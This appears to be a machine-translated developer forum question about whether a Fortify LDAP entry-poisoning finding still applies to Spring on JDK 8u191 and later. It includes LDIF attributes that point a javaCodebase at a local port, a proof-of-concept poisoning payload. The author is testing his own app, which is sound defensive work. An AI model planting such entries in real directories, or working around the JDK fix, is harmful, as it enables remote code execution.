Fortify сообщил об уязвимости отравления записи LDAP в одном из моих приложений Spring.Вы можете получить дополнительную информацию об этой уязвимости по следующим ссылкам:
https://www.youtube.com/watch?v=Y8a5nB-vy78&feature=youtu.be&t=2111
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
Я решил попробоватьи доказать для себя, если это все еще была уязвимость.Я сделал это с помощью Spring Tool Suite:
file -> new -> import spring, начало работы с содержимым
искал ldap и импортировал Аутентифицируемый Ldap -> полный кодовый набор
https://spring.io/guides/gs/authenticating-ldap/
Затем я добавил следующие строки во включенный файл test-server.ldif к записи для bob, а также к записи для разработчиков:
javaFactory: PayloadObject
objectClass: javaNamingReference
javaCodebase: http://127.0.0.1:9999/
javaClassName: PayloadObject
Для того, чтобызапустите это, мне нужно было добавить следующую строку в application.properties:
spring.ldap.embedded.validation.enabled=false
Я запустил Wireshark и запустил пример приложения Spring, и, конечно же, когда я вошел в систему с bob, я получил ударв Wireshark на порту 9999.
Когда я попросил коллегу проверить то же самое, он не смог воспроизвести.После некоторых исследований мы обнаружили, что у него был более новый jdk, чем у меня, и после того, как я обновил свой jdk, я тоже не смог воспроизвести проблему.
Мы сузили ее до версии jdk-8u191это внесло «исправление», но я не могу найти ничего, что объясняет, почему или как это было исправлено в заметках о выпуске Java.
Мой вопрос - является ли отравление записи LDAP теперь ложным / положительным, если мы 'работает JDK-8U191 или новее?Или есть какой-либо параметр конфигурации, который можно настроить для переопределения этого «исправления»?